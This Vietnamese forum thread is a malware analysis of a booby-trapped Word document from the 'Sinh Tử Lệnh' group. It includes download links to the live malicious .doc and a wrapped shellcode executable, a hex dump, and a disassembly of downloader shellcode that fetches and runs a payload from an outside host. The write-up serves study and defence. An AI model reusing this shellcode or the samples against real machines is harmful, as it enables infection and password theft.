[Analyzing] RCE đám virus của Sinh Tử Lệnh. |
21/05/2011 21:22:18 (+0700) | #1 | 237584 |
TQN
Elite Member
|
0 |
|
|
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
|
|
Nói trước: Em vốn dốt văn, trình bày, viết văn rất dở, hay sai lỗi hỏi ngã. Nên đọc thấy sai, thấy dở thì thông cảm, bỏ qua, khỏi đọc tiếp.
Giới thiệu: Chắc các bạn ở đây đều biết về đám Sinh Tử Lệnh, và chắc phải nhủ thầm: "Đám này ghê gớm thật", và tui cũng nghĩ vậy.
Trong quá trình RE một số con malware của đám này, tui cũng phải thốt lên: Kinh thật, ghê ghớm thật. Trình độ code malware và hệ thống của tụi này rất khá, rất chuyên nghiệp. Chúng dùng nhiều kỹ thuật undocument, ít thấy trong giới viết malware thế giới và hầu như chưa thấy trong đám script kiddie viết virus của VN ta. Nhiều đoạn code tui thấy quen quen nhưng không thể nhớ và nói chính xác là đã gặp ở đâu.
Chuyện bắt đầu từ cái topic năm ngoái về việc anh conmale, admin của diển đàn chúng ta bị đám STL cài keylog và ăn cắp password. Các bạn có thể search xem lại. Lúc ấy tui có pm anh conmale và được anh gởi cho 1 file MS Word, có name: "Danh sach IP.doc". Anh conmale compress lại và gởi cho tui.
Mọi chuyện bắt đầu từ đây, tui cũng bị mất password HVA cũng vì file này. File này được tui upload lên mediafire tại: http://www.mediafire.com/?idgejaug9gnjoj2, password = malware. Quên nói là các bạn không nên mở file .doc này bằng MS Word. Dính malware của STL liền đấy. Havythoai cũng đã hỏi tui file này nhưng lúc đó lu bu và lười quá nên chưa gởi cho Havythoai. Sorry Thoại nhé.
Lúc đó máy tui cài MS Security Essential (cờ rắc để pass WPA), tui đã quét thử file .doc này nhưng MSSE không phát hiện ra. Thậm chí tới bây giờ KAV 2011 (bản quyền đàng hoàng nha) vẫn không phát hiện ra:
Lúc đó thì cái VM trên Virtual PC của tui bị hư, lại vừa mới đi nhậu về, chủ quan sau khi quét xong thấy không có gì liền open ngay. Kết quả, Word đơ luôn. Kill nó, cúp đi ngủ. Sáng ra thấy máy là lạ, phát hiện ra một đống file lạ ngay.
Tới tận bây giờ, VirusToal và ThreadExpert vẫn không phát hiện ra malware trong file .doc này. Dưới đây là kết quả của 2 trang Online Scan đó:
1. http://www.threatexpert.com/report.aspx?md5=386c739a66934bdc84dbd62f335a0f76
2. http://www.virustotal.com/file-scan/report.html?id=381a690f90ce769dd9f323709a54a0cfd62cf516f8dfe2a2c1996e419f591461-1305993552
Tất cả các AV đều không phát hiện ra exploit bug trong file .doc này. Điều này chứng tỏ exploit bug này là undocument, đã có từ năm ngoái và tới bây giờ vẫn không công bố. Và tui dám 90% chắc chắn là exploit này không thể do người VN trong nước phát hiện ra (vì tui nghĩ nếu người VN ta mà phát hiện ra thì đã um xùm lên rồi).
Tui sẽ không phân tích kỹ thuật của exploit này, chỉ tập trung vào phân tích cách xác định shellcode trong file .doc và disassembly/debug xem nó làm gì. Còn exploit thì sẽ có ở topic khác.
PS: Anh em STL vào đây thấy em nói gì sai thì ra mặt chỉ bảo cho newbie như em nhé. Em biết có mấy anh vẫn ở đây thôi. |
|
|
|
|
[Analyzing] Tìm và phân tích shellcode của file .doc |
21/05/2011 22:47:36 (+0700) | #2 | 237587 |
TQN
Elite Member
|
0 |
|
|
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
|
|
Em vừa chạy ra ngoài, mua mấy lon bia và gói Mèo. Không biết có đủ siêng để post hết không. Gõ và cut, upload hình mệt quá.
Tiếp tục nhé, chúng ta sẽ đi phân tích và tìm shellcode trong file .doc này.
Đầu tiên, và hồi đó, tui dùng OffVis http://go.microsoft.com/fwlink/?LinkId=158791để mở file .doc này lên, xem nó có dùng những well-known exploit nào, hoàn toàn không có.
Chỉ là warning của OffVis do file .doc corrupt nên OffVis không xác định được CVE chính xác, chỉ đưa ra warning: CVE-2006-4534
Tiếp tục, dùng OfficeCat http://www.snort.org/vrt/vrt-resources/officecat để scan, cũng không thấy gì cả, chỉ báo file corrup. Đúng như kết quả của OffVis đưa ra.
Tiếp tục, như các bạn biết, có rất nhiều trình HexEditor, nhưng để analyzer file format thì theo tui tốt nhất và tui đang dùng là 101 Editor và FileInsight. Nhưng 101 Editor là trình "xe que", phải mua (nhưng em thì vẫn đang dùng bản cờ rắc tìm trên Internet ), nên em dùng FileInsight http://www.mcafee.com/us/downloads/free-tools/index.aspx để analyzer sơ bộ.
Mở file .doc trong FileInsight, sờ cờ ron tới ron lui lòi ra điểm khả nghi:
Các bạn sẽ thấy ngay các string lộn xộn đó chính là các hàm API quen thuộc mà shellcode thường dùng: GetTempFileNameW, GetTempPathW, RtlZeroMemory, URLDownloadToFile, LoadLibaryA...
Các string này không liền kề nhau, vì các bạn để ý đến left panel bên tay phải, của sổ Disassembly, sẽ thấy là code của STL move từng dword 1 chứa 4 ký tự của các hàm API vào các buffer liền kề nhau (mấy ông nội, sao không đảo thứ tự của các buffer này đi, nếu đảo thì tui tìm sao ra !?)
Tui post chưa xong mà khách ở đâu vào topic này lắm thế: 6 khách rồi à ? |
|
|
|
|
[Analyzing] RCE virus của đám Sinh Tử Lệnh. |
21/05/2011 23:25:00 (+0700) | #3 | 237589 |
TQN
Elite Member
|
0 |
|
|
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
|
|
Vậy là ta chắc chắn file doc này có chứa shellcode, vấn đề của chúng ta tiếp tục làm là phải extract được shellcode này, xác định được entry point của shellcode, disassembly và debug shellcode, xem thử shellcode này download cái gì về máy tui và máy anh conmale, xác định URL và Whois data của URL đó.
Tool use: OllyDbg, IDA, whois.
Nhưng giờ gần 12h30 rồi, em buồn ngủ quá, xin phép em nghỉ, mai post tiếp. Ngày mai em còn phải hàn, cắt một đống sắt nữa. Mắt em đỏ ngầu rồi. |
|
|
|
|
[Analyzing] RCE đám virus của Sinh Tử Lệnh. |
21/05/2011 23:36:47 (+0700) | #4 | 237592 |
|
xnohat
Moderator
|
Joined: 30/01/2005 13:59:19
Messages: 1210
Location: /dev/null
Offline
|
|
Lão up image qua một host khác được không ?
Imageshack hình như nó banned HVA domain. Tớ đã add nhiều lần nhưng bọn này nhất quyết không chịu accept HVA domain. Các hình đều hiện con ếch zàng T_T |
|
iJust clear, "What I need to do and how to do it"/i
br
brBox tán gẫu dời về: http://www.facebook.com/hvaonline |
|
|
|
[Analyzing] RCE đám virus của Sinh Tử Lệnh. |
22/05/2011 06:38:34 (+0700) | #5 | 237602 |
TQN
Elite Member
|
0 |
|
|
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
|
|
Bà con khác xem có được hình không vậy ?
Ngán nhất là cái capture, up hình ! |
|
|
|
|
[Analyzing] RCE đám virus của Sinh Tử Lệnh. |
22/05/2011 07:38:27 (+0700) | #6 | 237603 |
|
Ikut3
Elite Member
|
0 |
|
|
Joined: 24/09/2007 23:47:03
Messages: 1429
Location: Nhà hát lớn
Offline
|
|
Hình xem tốt anh TQN. Tiếp đi anh
Imageshack bỏ cái trò bắt register mới view được hình anh P ơi |
|
|
|
|
[Analyzing] RCE đám virus của Sinh Tử Lệnh. |
22/05/2011 07:41:46 (+0700) | #7 | 237604 |
|
tranhuuphuoc
Moderator
|
Joined: 05/09/2004 06:08:09
Messages: 865
Location: Lầu Xanh
Offline
|
|
TQN wrote:
Bà con khác xem có được hình không vậy ?
Ngán nhất là cái capture, up hình !
Anh cứ việc upload lên site nào đó, em sẽ điều chỉnh bài viết của anh, upload hình bài viết lên thư mục hình ảnh trên server của HVA để khỏi bị ban, xoá hình cho anh em tiện việc tham khảo, trao đổi, thảo luận. Em và anh em khác đang mong đợi các bài viết phân tích của anh
|
|
|
|
|
[Analyzing] RCE đám virus của Sinh Tử Lệnh. |
22/05/2011 22:54:52 (+0700) | #8 | 237653 |
|
quanta
Moderator
|
Joined: 28/07/2006 14:44:21
Messages: 7265
Location: $ locate `whoami`
Offline
|
|
Hay quá! Anh vẫn chưa đi mua bia về để viết tiếp à?
TQN wrote:
...
Mọi chuyện bắt đầu từ đây, tui cũng bị mất password HVA cũng vì file này. File này được tui upload lên mediafire tại: http://www.mediafire.com/?idgejaug9gnjoj2, password = malware. Quên nói là các bạn không nên mở file .doc này bằng MS Word. Dính malware của STL liền đấy.
Em thử tải về và extract ra thì được file .bin mà:
$ file virus.doc.bin
virus.doc.bin: Composite Document File V2 Document, Little Endian, Os 0, Version: 3.10, Create Time/Date: Sun Feb 11 19:56:00 1996, Last Printed: Sat Feb 24 14:11:00 1996, Last Saved Time/Date: Sun Mar 3 18:23:00 1996, Number of Words: 5370, Number of Characters: 30612, Total Editing Time: 01:01:00, Number of Pages: 17, Security: 0
Thử với `strings`:
Code:
eeb53 GetT
eeb5d empF
eeb67 ileN
eeb71 ameW
eeb82 GetT
eeb8c empP
eeb96 athW
eeba7 RtlZ
eebb1 eroM
eebbb emorf
eebce Urlm
eebd8 on.df
eebf2 URLD
eebfc ownl
eec06 oadT
eec10 oFilf
eec2a Load
eec34 Libr
eec3e aryA
eecd8 WVUR
eecf4 8GetPu/
eecfe rocAu&
eed07 ddreu
eed33 Z]^_3
eee4f Crea
eee59 tePr
eee63 ocesf
eeef7 Term
eef01 inat
eef0b ePro
eef15 cess
ef81b Normal
hay `bvi`:
Code:
000EEB44 33 C0 66 89 85 4E FD FF FF C7 85 F4 FC FF FF 47 65 74 54 C7 85 F8 FC FF FF 65 6D 70 3.f..N.........GetT......emp
000EEB60 46 C7 85 FC FC FF FF 69 6C 65 4E C7 85 00 FD FF FF 61 6D 65 57 C6 85 04 FD FF FF 00 F......ileN......ameW.......
000EEB7C C7 85 DC FC FF FF 47 65 74 54 C7 85 E0 FC FF FF 65 6D 70 50 C7 85 E4 FC FF FF 61 74 ......GetT......empP......at
000EEB98 68 57 C6 85 E8 FC FF FF 00 C7 85 C4 FC FF FF 52 74 6C 5A C7 85 C8 FC FF FF 65 72 6F hW.............RtlZ......ero
000EEBB4 4D C7 85 CC FC FF FF 65 6D 6F 72 66 C7 85 D0 FC FF FF 79 00 C7 85 B0 FC FF FF 55 72 M......emorf......y.......Ur
000EEBD0 6C 6D C7 85 B4 FC FF FF 6F 6E 2E 64 66 C7 85 B8 FC FF FF 6C 6C C6 85 BA FC FF FF 00 lm......on.df......ll.......
000EEBEC C7 85 90 FC FF FF 55 52 4C 44 C7 85 94 FC FF FF 6F 77 6E 6C C7 85 98 FC FF FF 6F 61 ......URLD......ownl......oa
000EEC08 64 54 C7 85 9C FC FF FF 6F 46 69 6C 66 C7 85 A0 FC FF FF 65 57 C6 85 A2 FC FF FF 00 dT......oFilf......eW.......
000EEC24 C7 85 78 FC FF FF 4C 6F 61 64 C7 85 7C FC FF FF 4C 69 62 72 C7 85 80 FC FF FF 61 72 ..x...Load..|...Libr......ar
000EEC40 79 41 C6 85 84 FC FF FF 00 C7 85 3C FC FF FF 6B 00 65 00 C7 85 40 FC FF FF 72 00 6E yA.........<...k.e...@...r.n
000EEC5C 00 C7 85 44 FC FF FF 65 00 6C 00 66 C7 85 48 FC FF FF 33 00 66 C7 85 4A FC FF FF 32 ...D...e.l.f..H...3.f..J...2
000EEC78 00 C7 85 4C FC FF FF 2E 00 64 00 C7 85 50 FC FF FF 6C 00 6C 00 66 C7 85 54 FC FF FF ...L.....d...P...l.l.f..T...
000EEC94 00 00 33 C0 64 8B 15 30 00 00 00 8B 52 0C 8B 52 14 33 F6 33 FF 8B 12 83 FA 00 74 1C ..3.d..0....R..R.3.3......t.
000EECB0 8B 72 28 8D BD 3C FC FF FF B9 0D 00 00 00 56 57 E8 32 FC FF FF 83 F8 00 74 03 EB DD .r(..<........VW.2......t...
000EECCC CC 8B 52 10 89 95 64 FD FF FF 8B DA 57 56 55 52 8B C3 8B E8 03 40 3C 8B 78 78 03 FD ..R...d.....WVUR.....@<.xx..
000EECE8 8B 77 20 03 F5 33 D2 8B 06 03 C5 81 38 47 65 74 50 75 2F 81 78 04 72 6F 63 41 75 26 .w ..3......8GetPu/.x.rocAu&
000EED04 81 78 08 64 64 72 65 75 1D 66 81 78 0C 73 73 75 15 8B 47 24 03 C5 0F B7 1C 50 8B 47 .x.ddreu.f.x.ssu
Em thì mù tịt khoản này vì thiếu kiến thức căn bản nhưng mà cũng thích ngồi mày mò, nghịch ngợm.
TQN wrote:
Vậy là ta chắc chắn file doc này có chứa shellcode, vấn đề của chúng ta tiếp tục làm là phải extract được shellcode này,
Dùng cái MalHost-Setup trong OfficeMalScanner được không anh?
TQN wrote:
xác định được entry point của shellcode,
Có gì nhờ anh giải thích kỹ chỗ này nhé.
TQN wrote:
disassembly và debug shellcode, xem thử shellcode này download cái gì về máy tui và máy anh conmale,
Em thử với `objdump`, nhưng mà nhìn vào... hoa cả mắt. |
|
|
|
|
[Analyzing] RCE đám virus của Sinh Tử Lệnh. |
23/05/2011 09:17:32 (+0700) | #9 | 237673 |
TQN
Elite Member
|
0 |
|
|
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
|
|
Sorry đã để anh em đợi lâu. Chiều hôm qua về đi nhậu với lính, quắc cần câu luôn (nhưng vẫn còn kịp lấy số đt của em tiếp viên). Sáng giờ mệt quá, ở nhà luôn, đầu còn ngu ngu. Nhưng tối nay em về nhà máy rồi, khoảng gần 10 ngày nữa mới vô, nên tranh thủ post cho xong phần debug và tìm URL của con shellcode này.
Như các bạn đã tìm hiểu về shellcode thì sẽ biết, shellcode thường bằng đầu một loạt các lệnh nop, mã hex = 0x90, sau đó sẽ tới các lệnh function prolog thông dụng (ai muốn hiểu rõ thì hỏi lamer):
Code:
push ebp
mov ebp,esp
sub esp, xxxx
........
Chuỗi hex opcode của 3 lệnh trên = 55 8B EC 81 EC.
Hoặc shellcode có thể bắt đầu = code: pushad (0x60), pushfd (0x90).
Ta dùng chính FileInsight, disassembly mode recursively, search 90 90 90 90, ta sẽ tìm được 2 buffer 0x90 lớn, bắt đầu tại offset: 0xEE870, size = 100d và 0xEEF40, size = 1256d bytes.
Tại offset 0xEE8D4, ta thấy ngay mã 55 8B EC cần tìm. Đây chính là entry point của shellcode. Dùng Find của FileInsight, tìm chuỗi hex 55 8B EC, ta chỉ found duy nhất tại điểm đấy.
Shellcode thường chỉ có 1, ít khi 2, nhưng để an toàn, ta tìm tiếp byte 60 90 và 90 60, không có.
Vậy thì tạm kết luận entrypoint của shellcode ở 0xEE8D4:
Tiếp tục, chúng ta đã xác định được shellcode, giờ thì làm sao debug và disassembly nó.
Có rất nhiều cách:
1. Cách đơn giản nhất, patch byte tại EP của shellcode thành Int 3 (0xCC) hay 0xEB 0xFE rồi run Word dưới trình debug. Cách này tui sẽ post ở topic khác để tìm hiểu lỗi parser của Word với OLEStream dị dạng này.
2. Copy đoạn hex code trên từ 0xEE8D4 tới 0xEEF39 rồi dùng các tool, các source shellcode2exe để tạo ra exe rồi analyze và debug.
3. Dùng tool có sẵn. Em chọn cách này, nhanh khoẻ cho rồi.
Như quanta đã nói, Frank Boldewin (một trong những guru về RCE mà em ngưỡng mộ) có viết tool: OfficeMalScanner [ http://www.reconstructer.org/code/OfficeMalScanner.zip]. Ver hiện tại là 0.53, phát hiện được shellcode trong file .doc này. Hồi đó ver 0.3x thì khi em dùng scan thì không.
Các bạn gõ dùng cmdline với options: scan brute debug thì sẽ thấy kết quả giống như kết quả ta đã phát hiện ra trong FileInsight:
Shellcode của tụi STL này có hai điểm dở (sorry mấy đại ca nhé):
1. Đã biết truy xuất PEB address để lấy kernel32.dll base mà không tự parse để address của các hàm API cần dùng mà phải dùng GetProcAddress để lấy.
2. Không dùng API hash để lấy API address
Vì vậy mấy cái string API name mới hiện ra như vậy.
Tiếp tục dùng ct MalHost-Setup.exe trong bộ OfficeMalScanner để tạo exe shellcode để debug:
MalHost-Setup.exe virus.doc virus.exe 0xEE8D4
Vậy là ta có file virus.exe wrap shellcode.
File .exe mà MalHost-Setup sinh ra wrap shellcode = Overlay. Khi run nó sẽ extract shellcode ra thư mục %Temp% với tên file là droppedmal, rồi lại load ngược lại file đó = Memory Mapping API, rồi jump ới EP của shellcode (Quái, sao không jump thẵng luôn cho rồi !?)
File virus.exe tui up tại: http://www.mediafire.com/?0zbhz8kahcefijb, password=malware. File này bị các AV detect nên các bạn phải tạm thời tắt AV, không được run, đặt breakpoint tại 0x00401485 để debug shellcode.
Các bạn có thể dùng IDA hay OllyDbg hay bất cứ trình debug nào. Em dùng cả IDA và OllyDbg.
|
|
|
|
|
[Analyzing] RCE đám virus của Sinh Tử Lệnh. |
23/05/2011 10:41:21 (+0700) | #10 | 237682 |
TQN
Elite Member
|
0 |
|
|
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
|
|
Debug vào shellcode, các bạn sẽ thấy ngay URL của file được download về máy victim (là máy em và máy anh conmale chứ ai).
Kết quả Whois:
Code:
Domain ID:D32531112-LRMS
Domain Name:SMARTSHOW.INFO
Created On:22-Apr-2010 11:06:53 UTC
Last Updated On:03-May-2011 03:00:45 UTC
Expiration Date:22-Apr-2012 11:06:53 UTC
Sponsoring Registrar:OnlineNIC, Inc. (R170-LRMS)
Status:CLIENT HOLD
Status:CLIENT TRANSFER PROHIBITED
Registrant ID:OLNI_196680_0_0
Registrant Name:Domain ID Shield Service
Registrant Organization:Domain ID Shield Service CO., Limited
Registrant Street1:1102-1103,11/F,Kowloon Bldg.,555 Nathan Rd.,Mongkok,Kowloon
Registrant Street2:
Registrant Street3:
Registrant City:Hong Kong
Registrant State/Province:Hong Kong
Registrant Postal Code:999077
Registrant Country:CN
Registrant Phone:+852.22060092
Registrant Phone Ext.:
Registrant FAX:+852.30030133
Registrant FAX Ext.:
Registrant Email:sm324544432187684@domainidshield.com
Admin ID:OLNI_196680_1_0
Admin Name:Domain ID Shield Service
Admin Organization:Domain ID Shield Service CO., Limited
Admin Street1:1102-1103,11/F,Kowloon Bldg.,555 Nathan Rd.,Mongkok,Kowloon
Admin Street2:
Admin Street3:
Admin City:Hong Kong
Admin State/Province:Hong Kong
Admin Postal Code:999077
Admin Country:CN
Admin Phone:+852.22060092
Admin Phone Ext.:
Admin FAX:+852.30030133
Admin FAX Ext.:
Admin Email:sm324544418797681@domainidshield.com
Billing ID:OLNI_196680_3_0
Billing Name:Domain ID Shield Service
Billing Organization:Domain ID Shield Service CO., Limited
Billing Street1:1102-1103,11/F,Kowloon Bldg.,555 Nathan Rd.,Mongkok,Kowloon
Billing Street2:
Billing Street3:
Billing City:Hong Kong
Billing State/Province:Hong Kong
Billing Postal Code:999077
Billing Country:CN
Billing Phone:+852.22060092
Billing Phone Ext.:
Billing FAX:+852.30030133
Billing FAX Ext.:
Billing Email:sm324544489757683@domainidshield.com
Tech ID:OLNI_196680_2_0
Tech Name:Domain ID Shield Service
Tech Organization:Domain ID Shield Service CO., Limited
Tech Street1:1102-1103,11/F,Kowloon Bldg.,555 Nathan Rd.,Mongkok,Kowloon
Tech Street2:
Tech Street3:
Tech City:Hong Kong
Tech State/Province:Hong Kong
Tech Postal Code:999077
Tech Country:CN
Tech Phone:+852.22060092
Tech Phone Ext.:
Tech FAX:+852.30030133
Tech FAX Ext.:
Tech Email:sm324544451417682@domainidshield.com
Name Server:NS1.BYETHOST42.ORG
Name Server:NS2.BYETHOST42.ORG
Lại là HongKong, CN nữa.
Host này không còn hoạt động nữa nên file image.jpg em không lấy về được, còn file mà hồi đó nó drop vào máy em thì em xoá 3 đời 8 hoánh rồi.
Bây giờ em cũng mệt rồi, nên em chỉ nói ngắn gọn các công đoạn của shellcode:
1. Tạo URL string.
2. Tạo API name bằng cách mov từng DWORD API name vào buffer.
3. Lấy PEB address, duyệt module link list để lấy kernel32.dll base address
4. Scan export table của kernel32.dll để lấy address của GetProcAddress
5. Download file image.jpg về %Temp%\randomname
6. Nếu download thành công, call CreateProcess với param là file jpg đó. File đó thực chất là file exe, mở đường cho download một loạt malware khác của mấy "ông nội" STL về máy victim (lại victim nữa, nhắc lại niềm đau của em).
7. Nếu download không thành công, TerminateProcess luôn (WinWord đi luôn).
Code ASM của ShellcodeProc:
Code:
debug008:00148C72 @@BuildURL: ; CODE XREF: ShellcodeProc+1Ej
debug008:00148C72 548 sub esp, 100h
debug008:00148C78 648 mov eax, 'h'
debug008:00148C7D 648 mov [ebp+szURL], ax
debug008:00148C84 648 mov eax, 't'
debug008:00148C89 648 mov [ebp-2EEh], ax
debug008:00148C90 648 mov eax, 't'
debug008:00148C95 648 mov [ebp+var_2EC], ax
debug008:00148C9C 648 mov eax, 'p'
debug008:00148CA1 648 mov [ebp+var_2EA], ax
debug008:00148CA8 648 mov eax, ':'
debug008:00148CAD 648 mov [ebp+var_2E8], ax
debug008:00148CB4 648 mov eax, '/'
debug008:00148CB9 648 mov [ebp+var_2E6], ax
debug008:00148CC0 648 mov eax, '/'
debug008:00148CC5 648 mov [ebp+var_2E4], ax
debug008:00148CCC 648 mov eax, 's'
debug008:00148CD1 648 mov [ebp+var_2E2], ax
debug008:00148CD8 648 mov eax, 'm'
debug008:00148CDD 648 mov [ebp+var_2E0], ax
debug008:00148CE4 648 mov eax, 'a'
debug008:00148CE9 648 mov [ebp+var_2DE], ax
debug008:00148CF0 648 mov eax, 'r'
debug008:00148CF5 648 mov [ebp+var_2DC], ax
debug008:00148CFC 648 mov eax, 't'
debug008:00148D01 648 mov [ebp+var_2DA], ax
debug008:00148D08 648 mov eax, 's'
debug008:00148D0D 648 mov [ebp+var_2D8], ax
debug008:00148D14 648 mov eax, 'h'
debug008:00148D19 648 mov [ebp+var_2D6], ax
debug008:00148D20 648 mov eax, 'o'
debug008:00148D25 648 mov [ebp+var_2D4], ax
debug008:00148D2C 648 mov eax, 'w'
debug008:00148D31 648 mov [ebp+var_2D2], ax
debug008:00148D38 648 mov eax, '.'
debug008:00148D3D 648 mov [ebp+var_2D0], ax
debug008:00148D44 648 mov eax, 'i'
debug008:00148D49 648 mov [ebp+var_2CE], ax
debug008:00148D50 648 mov eax, 'n'
debug008:00148D55 648 mov [ebp+var_2CC], ax
debug008:00148D5C 648 mov eax, 'f'
debug008:00148D61 648 mov [ebp+var_2CA], ax
debug008:00148D68 648 mov eax, 'o'
debug008:00148D6D 648 mov [ebp+var_2C8], ax
debug008:00148D74 648 mov eax, '/'
debug008:00148D79 648 mov [ebp+var_2C6], ax
debug008:00148D80 648 mov eax, 'i'
debug008:00148D85 648 mov [ebp+var_2C4], ax
debug008:00148D8C 648 mov eax, 'm'
debug008:00148D91 648 mov [ebp+var_2C2], ax
debug008:00148D98 648 mov eax, 'a'
debug008:00148D9D 648 mov [ebp+var_2C0], ax
debug008:00148DA4 648 mov eax, 'g'
debug008:00148DA9 648 mov [ebp+var_2BE], ax
debug008:00148DB0 648 mov eax, 'e'
debug008:00148DB5 648 mov [ebp+var_2BC], ax
debug008:00148DBC 648 mov eax, '.'
debug008:00148DC1 648 mov [ebp+var_2BA], ax
debug008:00148DC8 648 mov eax, 'j'
debug008:00148DCD 648 mov [ebp+var_2B8], ax
debug008:00148DD4 648 mov eax, 'p'
debug008:00148DD9 648 mov [ebp+var_2B6], ax
debug008:00148DE0 648 mov eax, 'g'
debug008:00148DE5 648 mov [ebp+var_2B4], ax
debug008:00148DEC
debug008:00148DEC @@BuildAPINames:
debug008:00148DEC 648 xor eax, eax
debug008:00148DEE 648 mov [ebp+var_2B2], ax
debug008:00148DF5 648 mov [ebp+szGetTempFileNameW], 'TteG'
debug008:00148DFF 648 mov [ebp+var_308], 'Fpme'
debug008:00148E09 648 mov [ebp+var_304], 'Neli'
debug008:00148E13 648 mov [ebp+var_300], 'Wema'
debug008:00148E1D 648 mov [ebp+var_2FC], 0
debug008:00148E24 648 mov [ebp+szGetTempPathW], 'TteG'
debug008:00148E2E 648 mov [ebp+var_320], 'Ppme'
debug008:00148E38 648 mov [ebp+var_31C], 'Whta'
debug008:00148E42 648 mov [ebp+var_318], 0
debug008:00148E49 648 mov [ebp+szRtlZeroMemory], 'ZltR'
debug008:00148E53 648 mov [ebp+var_338], 'More'
debug008:00148E5D 648 mov [ebp+var_334], 'rome'
debug008:00148E67 648 mov [ebp+var_330], 79h
debug008:00148E70 648 mov [ebp+szUrlmon.dll], 'mlrU'
debug008:00148E7A 648 mov [ebp+var_34C], 'd.no'
debug008:00148E84 648 mov [ebp+var_348], 'll'
debug008:00148E8D 648 mov [ebp+var_346], 0
debug008:00148E94 648 mov [ebp+szURLDownloadToFile], 'DLRU'
debug008:00148E9E 648 mov [ebp+var_36C], 'lnwo'
debug008:00148EA8 648 mov [ebp+var_368], 'Tdao'
debug008:00148EB2 648 mov [ebp+var_364], 'liFo'
debug008:00148EBC 648 mov [ebp+var_360], 'We'
debug008:00148EC5 648 mov [ebp+var_35E], 0
debug008:00148ECC 648 mov [ebp+szLoadLibraryA], 'daoL'
debug008:00148ED6 648 mov [ebp+var_384], 'rbiL'
debug008:00148EE0 648 mov [ebp+var_380], 'Ayra'
debug008:00148EEA 648 mov [ebp+var_37C], 0
debug008:00148EF1 648 mov [ebp+var_3C4], 65006Bh ; <suspicious> ; kernel32.dll string in Unicode
debug008:00148EFB 648 mov [ebp+var_3C0], 6E0072h ; <suspicious>
debug008:00148F05 648 mov [ebp+var_3BC], 6C0065h ; <suspicious>
debug008:00148F0F 648 mov [ebp+var_3B8], '3'
debug008:00148F18 648 mov [ebp+var_3B6], '2'
debug008:00148F21 648 mov [ebp+var_3B4], 64002Eh
debug008:00148F2B 648 mov [ebp+var_3B0], 6C006Ch ; <suspicious>
debug008:00148F35 648 mov [ebp+var_3AC], 0
debug008:00148F3E 648 xor eax, eax
debug008:00148F40 648 mov edx, large fs:30h
debug008:00148F47 648 mov edx, [edx+0Ch]
debug008:00148F4A 648 mov edx, [edx+14h]
debug008:00148F4D 648 xor esi, esi
debug008:00148F4F 648 xor edi, edi
debug008:00148F4F
debug008:00148F51
debug008:00148F51 loc_148F51: ; CODE XREF: ShellcodeProc+3F6j
debug008:00148F51 648 mov edx, [edx]
debug008:00148F53 648 cmp edx, 0
debug008:00148F56 648 jz short loc_148F74
debug008:00148F56
debug008:00148F58 648 mov esi, [edx+28h]
debug008:00148F5B 648 lea edi, [ebp+var_3C4]
debug008:00148F61 648 mov ecx, 0Dh
debug008:00148F66 648 push esi
debug008:00148F67 64C push edi
debug008:00148F68 650 call @@FindKernel32Base
debug008:00148F68
debug008:00148F6D 650 cmp eax, 0
debug008:00148F70 650 jz short @@FindGetProcAddress
debug008:00148F70
debug008:00148F72 650 jmp short loc_148F51
debug008:00148F72
debug008:00148F74 ; ---------------------------------------------------------------------------
debug008:00148F74
debug008:00148F74 loc_148F74: ; CODE XREF: ShellcodeProc+3DAj
debug008:00148F74 648 int 3 ; Trap to Debugger
debug008:00148F74
debug008:00148F75
debug008:00148F75 @@FindGetProcAddress: ; CODE XREF: ShellcodeProc+3F4j
debug008:00148F75 648 mov edx, [edx+10h]
debug008:00148F78 648 mov [ebp+hKernel32], edx
debug008:00148F7E 648 mov ebx, edx
debug008:00148F80 648 push edi
debug008:00148F81 64C push esi
debug008:00148F82 650 push ebp
debug008:00148F83 654 push edx
debug008:00148F84 658 mov eax, ebx
debug008:00148F86 658 mov ebp, eax
debug008:00148F88 658 add eax, [eax+3Ch]
debug008:00148F8B 658 mov edi, [eax+78h]
debug008:00148F8E 658 add edi, ebp
debug008:00148F90 658 mov esi, [edi+20h]
debug008:00148F93 658 add esi, ebp
debug008:00148F95 658 xor edx, edx
debug008:00148F95
debug008:00148F97
debug008:00148F97 @@IsGetProcAddress: ; CODE XREF: ShellcodeProc+45Dj
debug008:00148F97 658 mov eax, [esi]
debug008:00148F99 658 add eax, ebp
debug008:00148F9B 658 cmp dword ptr [eax], 'PteG'
debug008:00148FA1 658 jnz short @@NextName
debug008:00148FA1
debug008:00148FA3 658 cmp dword ptr [eax+4], 'Acor'
debug008:00148FAA 658 jnz short @@NextName
debug008:00148FAA
debug008:00148FAC 658 cmp dword ptr [eax+8], 'erdd'
debug008:00148FB3 658 jnz short @@NextName
debug008:00148FB3
debug008:00148FB5 658 cmp word ptr [eax+0Ch], 'ss'
debug008:00148FBB 658 jnz short @@NextName
debug008:00148FBB
debug008:00148FBD 658 mov eax, [edi+24h]
debug008:00148FC0 658 add eax, ebp
debug008:00148FC2 658 movzx ebx, word ptr [eax+edx*2]
debug008:00148FC6 658 mov eax, [edi+1Ch]
debug008:00148FC9 658 add eax, ebp
debug008:00148FCB 658 mov ebx, [eax+ebx*4]
debug008:00148FCE 658 add ebx, ebp
debug008:00148FD0 658 jmp short @@BuildAPIAddress
debug008:00148FD0
debug008:00148FD2 ; ---------------------------------------------------------------------------
debug008:00148FD2
debug008:00148FD2 @@NextName: ; CODE XREF: ShellcodeProc+425j
debug008:00148FD2 ; ShellcodeProc+42Ej
debug008:00148FD2 ; ShellcodeProc+437j
debug008:00148FD2 ; ShellcodeProc+43Fj
debug008:00148FD2 658 add esi, 4
debug008:00148FD5 658 inc edx
debug008:00148FD6 658 cmp edx, [edi+14h]
debug008:00148FD9 658 jnz short @@IsGetProcAddress
debug008:00148FD9
debug008:00148FDB
debug008:00148FDB @@BuildAPIAddress: ; CODE XREF: ShellcodeProc+454j
debug008:00148FDB 658 pop edx
debug008:00148FDC 654 pop ebp
debug008:00148FDD 650 pop esi
debug008:00148FDE 64C pop edi
debug008:00148FDF 648 xor eax, eax
debug008:00148FE1 648 mov [ebp+GetProcAddress], ebx
debug008:00148FE7 648 lea eax, [ebp+szRtlZeroMemory]
debug008:00148FED 648 push eax
debug008:00148FEE 64C push [ebp+hKernel32]
